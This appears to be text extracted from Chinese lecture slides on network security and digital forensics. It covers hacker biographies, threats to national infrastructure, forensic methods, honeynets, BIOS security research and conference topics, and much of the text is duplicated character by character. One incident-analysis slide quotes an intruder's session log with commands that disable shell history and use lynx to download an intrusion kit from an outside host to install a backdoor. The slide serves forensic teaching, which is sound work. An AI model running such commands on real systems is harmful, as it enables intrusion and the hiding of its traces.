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面临挑战的对象是高手



罗伯特泰潘莫里斯

19651965年生，父为贝尔实验室计算机安全专家。年生，父为贝尔实验室计算机安全专家。

从小对电脑兴趣，有自己账号。从小对电脑兴趣，有自己账号。

初中时（初中时（1616岁）发现岁）发现UNIXUNIX漏洞，获取实验室超漏洞，获取实验室超

级口令并提醒其父。级口令并提醒其父。

19831983年入哈佛大学，一年级改年入哈佛大学，一年级改VAXVAX机为单用户机为单用户

系统。系统。

可以一连几个小时潜心阅读可以一连几个小时潜心阅读20002000多页的多页的UNIXUNIX手手
册，是学校里最精通册，是学校里最精通UNIXUNIX的人。学校为他设专的人。学校为他设专

线。线。

19881988年成为康奈尔大学研究生，获年成为康奈尔大学研究生，获““孤独的才孤独的才

华横溢的程序专家华横溢的程序专家””称号。称号。



1957年，雷蒙德出生于美国马萨诸塞州的波士顿，
1976年起开始接触黑客文化，
1990年，他编辑了《新黑客字典》。
1997年以后，雷蒙成为了开放源代码运动的主要理论家，以及开放源代码促进
会(Open Source Initiative)的主要创办人之一。

他还担任了开放源代码运动对媒体、商界以及主流文化的形象大使。他是一名
优秀的演说家，并曾经到过六大洲的15个国家进行演说。他对科幻小说十分感
兴趣，是一名出色的业余音乐家，还是…



信息对抗时代的挑战

境外有数万个木马控制端紧盯着中国被控电脑，数千个僵尸网络境外有数万个木马控制端紧盯着中国被控电脑，数千个僵尸网络
控制服务器也针对着大陆地区，甚至专门有境外间谍机构设立数控制服务器也针对着大陆地区，甚至专门有境外间谍机构设立数
十个网络情报据点，采用十个网络情报据点，采用““狼群战术狼群战术””、、““蛙跳攻击蛙跳攻击””等对我国进行等对我国进行

网络窃密和情报渗透。网络窃密和情报渗透。

去年上半年，被植入了木马控制端的中国大陆主机分布在上海、去年上半年，被植入了木马控制端的中国大陆主机分布在上海、
北京和江苏的最多，被僵尸程序感染的北京和江苏的最多，被僵尸程序感染的IPIP也很多。成千上万台被也很多。成千上万台被
僵尸程序感染的电脑可以通过控制服务器来集中操控。僵尸程序感染的电脑可以通过控制服务器来集中操控。

冒充冒充““上级机关上级机关””发来的邮件发来的邮件 ----““病毒木马检测程序病毒木马检测程序””。一看是自己。一看是自己
人，来信又正好对路，没有多想就打开运行，人，来信又正好对路，没有多想就打开运行，间间谍木马谍木马立即立即植入植入
电脑中。电脑中。
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可能的网络恐怖攻击

““明天的恐怖分子可能会更多地利明天的恐怖分子可能会更多地利
用键盘而不是炸弹。用键盘而不是炸弹。””

网络攻击和攻击目标有以下一些：网络攻击和攻击目标有以下一些：

破坏网站破坏网站

域名服务攻击域名服务攻击

拒绝服务攻击拒绝服务攻击

网络蠕虫攻击网络蠕虫攻击

骨干路由攻击骨干路由攻击

基础设施攻击基础设施攻击 ……



对国家基础设施的攻击

银行和金融系统银行和金融系统对网络的依赖程度较大，但这类系统大部分是对网络的依赖程度较大，但这类系统大部分是
在专用网络或内部网络（在专用网络或内部网络（intranetintranet））上工作，与外部网络的联系有限，上工作，与外部网络的联系有限，
因而遭受外部攻击的危险性相对较小。因而遭受外部攻击的危险性相对较小。

电力基础设施电力基础设施中有一些传感器，其作用是在遇到自然灾害时帮助中有一些传感器，其作用是在遇到自然灾害时帮助

工程师自动切断国家电力网的某些部分，这些传感器很容易遭受来自工程师自动切断国家电力网的某些部分，这些传感器很容易遭受来自
网上的攻击，从而导致供电中断。网上的攻击，从而导致供电中断。

石油和天然气基础设施石油和天然气基础设施包括多种计算机管理、控制、数据采集及包括多种计算机管理、控制、数据采集及

能源管理系统，这些系统很容易受到网络攻击，从而影响到很多行业能源管理系统，这些系统很容易受到网络攻击，从而影响到很多行业
部门，诸如制造业、运输业等。部门，诸如制造业、运输业等。

校园与科研机构校园与科研机构较为开放，用户量大，应用多样化，学生是一个较为开放，用户量大，应用多样化，学生是一个
敏感团体。敏感团体。

上述任何单独的一种攻击都会产生严重的后果。如果缺少认真的上述任何单独的一种攻击都会产生严重的后果。如果缺少认真的

防范和准备，一旦这些攻击手段或其中某些手段进行多方位攻击，就防范和准备，一旦这些攻击手段或其中某些手段进行多方位攻击，就
可能灾难性的破坏。这种攻击与现实世界中的恐怖主义袭击相结合，可能灾难性的破坏。这种攻击与现实世界中的恐怖主义袭击相结合，
就会给国家带来毁灭性的打击。就会给国家带来毁灭性的打击。
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Cyber空间的安全挑战



也许只为了艺术！
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刘宝旭博士论文2002



摄于2007年教师节 ----中科院高能所计算中心



网络漏洞扫描

HPHP--UXUX ScoSco SolarisSolaris NT NT 服务器服务器 Web Web 服务器服务器 NT NT 

安全管理员安全管理员

漏洞扫描、

安全评估、

行为检查、

提交安全报告

等等

刘宝旭博士论文2002



防火墙/IDS

Internet

防火墙

Windows服务器

主机1
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IDS

Linux服务器

控制台主机

毕学尧博士论文2003



李雪莹博士论文2004



21世纪的网络安全管理技术
引自13届FIRST年会报告

ForensicForensic（（取证）的定义取证）的定义

计算机犯罪斗争中的体系结构、计算机犯罪斗争中的体系结构、IDSIDS和取证技术和取证技术

两种取证的思路两种取证的思路

取证案例取证案例------------IISIIS 漏洞（漏洞（20012001年中美黑客大战年中美黑客大战））



网络取证的设计（黑匣子）

从网络取证的定义来看，需要进行的四从网络取证的定义来看，需要进行的四
个步骤是：个步骤是：

识别识别

保存保存

分析分析

提交提交
被取证机 取证机 分析机

网络入侵取证系统的结构

杨泽明博士论文2004



事件分析案例
USER ftp

331 Guest login ok, send your complete e-mail address as 
password.

PASS mozilla@

unset HISTFILE;id;uname -a;

uid=0(root) gid=0(root) groups=50(ftp)

whereis lynx

lynx: /usr/bin/lynx /etc/lynx.cfg

/usr/share/man/man1/lynx.1.gz

TERM="linux“

lynx http://james84.supereva.it/.1/kit.tgz



事件分析案例（续）
入侵来源：62.16.35.10（欧洲）

简单描述：利用被取证机提供的FTP匿名服务，造成缓冲区
溢出，入侵者已获得root权限。

开始时间：03/16/2002-10:44:22   结束时间：
03/16/2002-11:08:33

详细过程：

10:44 用户FTP 匿名登录，并用mozilla@作为密码，向
被取证机发送缓冲区溢出程序，并成功攻入获得了root
权限。

10:53 开始用lynx从网站
http://james84.supereva.it/.1/kit.tgz下载程序。

11:08 下载完毕。在被取证机上安装了后门。



数字取证的基本过程

收集

分析

提交
使用

郑捷文博士论文2004



UNIX/Linux文件系统

directory /home/you

and so onand so on……
bar  456         bar  456         
foofoo 123123 inode 123

access permsaccess perms

file/directory/etcfile/directory/etc
data block #sdata block #s

reference countreference count

file sizefile size

mactimesmactimes
owner/group IDowner/group ID

data blocks

data block

data block

data block



文件被删除后保留的信息
directory /home/you

123123

and so onand so on……
bar  456         bar  456         
FooFoo inode 123

access permsaccess perms

file/directory/etcfile/directory/etc
data block #sdata block #s

reference count*reference count*

file sizefile size

mactimesmactimes **        **        
owner/group IDowner/group ID

data blocks

data block

data block

data block

= UNIX+LINUX

= LINUX only

*zero references
**status change time = time of deletion



数字取证工具数字取证工具

磁盘镜像设备

著名的分析软件

手机取证设备

屏蔽箱



网络陷阱系统的典型应用环境网络陷阱系统的典型应用环境

陷阱主机

Internet

IDS探测器2

交换机

一个陷阱主机可虚拟四个陷阱机，每
个陷阱机都有独立的IP地址和独立的

服务功能

陷阱机

控制台

陷阱机1 陷阱机2 陷阱机3 陷阱机4陷阱机

日志服务器

服务器1 服务器2 服务器3服务器4

防火墙

IDS

内部网

被保护

服务器
群

陷阱

主机

DMZ
区

曹爱娟博士论文2003



韩正平，总参某指挥自动化工作站工程师，国防科技大学计算机科学与工程
系毕业，2005年完成中国科学院高能物理研究所网络安全博士学位，获国家科技
进步二等奖、军队科技进步一等奖各1次，个人荣立二等功、三等功各1次。
　

　 “在实践中每解决一个安全问题，都会给韩正平搞科研带来新的灵感。韩正平从

不离开实践研究网络安全，但他更深知只有占领网络安全研究的前沿，用最短的
时间拿出更高、更新的科研成果，才能防范难以预料的非法网络扫描、探测和攻
击，捍卫信息网络的安全。”
　　“韩正平的同事们说他的最大特点是能坐得住，钻得进去” ， “在没有任何资
料的情况下，为了寻找适合单位技术基础和人员状况的科研‘切入点’，他系统分析
了网络的安全需求，跟踪研究网络安全前沿技术，通过因特网访问了100多个网络
安全网站，下载整理的网络安全文献资料装满了3张光盘。枯燥的整理工作需要坚

强的毅力，找不出难题的答案时，更需要持久的耐心。当编写程序卡壳的时候，
韩正平有自己的方法：打篮球。出一身汗，进了实验室，告诉同事们一句话：有
办法了。然后就是坐到电脑前开始编程。”

　　“短短几年，韩正平取得了数项科研成果，解决了许多网络安全事件，逐步成

长为我军信息网络安全领域的专家。面对层出不穷的黑客攻击技术，面对全球超
过26万个提供系统漏洞和攻击方法的黑客网站，面对网络上随时随地都可能发生

的以窃取情报、瘫痪网络为目的的有组织攻击，韩正平与课题组的战友们又开始
了网络安全管理、网络入侵取证与追踪等国际前沿技术的研究。”

（摘自《解放军报》）



网络数据结构—IP包



网络安全的技术手段浏览

防火墙技术防火墙技术

入侵监测技术入侵监测技术

审计跟踪技术审计跟踪技术

物理隔离技术物理隔离技术

备份恢复技术备份恢复技术

数据加密技术数据加密技术

身份认证技术身份认证技术

安全风险评估技术安全风险评估技术

取证分析取证分析

…………



安全技术的提升

更加安全的基础平台更加安全的基础平台（（BIOSBIOS、、安全操作安全操作
系统、安全数据库、高强度加密算法构系统、安全数据库、高强度加密算法构
成的成的PKIPKI体系等）体系等）

更加安全的业务平台更加安全的业务平台

（各个应用领域）（各个应用领域）

风险评估、生存性分析风险评估、生存性分析

（责任确定机制等）（责任确定机制等）



关键技术— BIOS



设计开发设计开发 ““计算机计算机BIOSBIOS安全检查系统安全检查系统”” 获销售许可证。获销售许可证。

（中共中央办公厅科学技术二等奖）（中共中央办公厅科学技术二等奖）

博士论文的专利成果博士论文的专利成果

设计研究设计研究 ““基于基于BIOSBIOS的高安全计算机网络接入认证系统的高安全计算机网络接入认证系统””，，
已通过鉴定已通过鉴定。。

高能所、电子科技学院网络安全联合实验室

BIOS课题成果

周振柳博士论文2008



CFET 2008               ----【英】坎特伯雷基督城大学

2nd International Conference on

Cybercrime Forensics Education & Training

Cybercrime – Awareness is Protection
IT Forensics Course - Expert Opinions
Developing a Digital Forensic Framework
Building the Infrastructure to Support HE 
Computer Forensics
Investigation of Money Laundering and Terrorist 
Financing
Digital Forensics Research in China
（（Keynote presentation by Prof  Keynote presentation by Prof  XU XU RongshengRongsheng))
…………

国
际
动
态



会议资料

————HTCIA 2007 HTCIA 2007 
INTERNATIONAL CONFERENCEINTERNATIONAL CONFERENCE

[[美美]]圣地亚哥圣地亚哥



Bypassing the best Laid Plans Bypassing the best Laid Plans --------How they steal proprietary How they steal proprietary 
information;information;

————John R .John R .MalleryMallery，， ------Managing ConsultantManaging Consultant
绕过固有的严密防护绕过固有的严密防护--------罪犯是如何盗取私有信息的罪犯是如何盗取私有信息的

Defining a process Model for Forensic Analysis of Digital Defining a process Model for Forensic Analysis of Digital 
Devices and Storage Media Devices and Storage Media 

————Mike Andrew Mike Andrew ------CyberSecurityCyberSecurity InstituteInstitute
数字存储介质的取证分析模式数字存储介质的取证分析模式

Spam and Transnational CrimeSpam and Transnational Crime
——A new initiative to fight emailA new initiative to fight email--borne security borne security 

threatsthreats

垃圾邮件和跨国犯罪，一项新的主动对抗垃圾邮件技术垃圾邮件和跨国犯罪，一项新的主动对抗垃圾邮件技术

Introduction to Antifraud Programs and ControlsIntroduction to Antifraud Programs and Controls
————W. Noel HaskinsW. Noel Haskins--HaferHafer

反欺诈的程序与控制反欺诈的程序与控制



The Capabilities & Limitations of Cell Phone Forensic The Capabilities & Limitations of Cell Phone Forensic 
ToolsTools

——Wayne JanWayne Jan
手机取证工具的性能和局限性手机取证工具的性能和局限性

Log File Forensics & Tools, Tricks, and TrapsLog File Forensics & Tools, Tricks, and Traps
————DaveDave KleimanKleiman

日志文件的取证日志文件的取证&&工具，技巧和陷阱工具，技巧和陷阱

Digital Forensics for Apple Mac OS XDigital Forensics for Apple Mac OS X™™
苹果苹果MacMac操作系统的数字取证操作系统的数字取证

Windows Vista ForensicsWindows Vista Forensics
————Troy Larson, Senior Forensics InvestigatorTroy Larson, Senior Forensics Investigator

Windows VistaWindows Vista操作系统的取证操作系统的取证

More  More  更多！更多！
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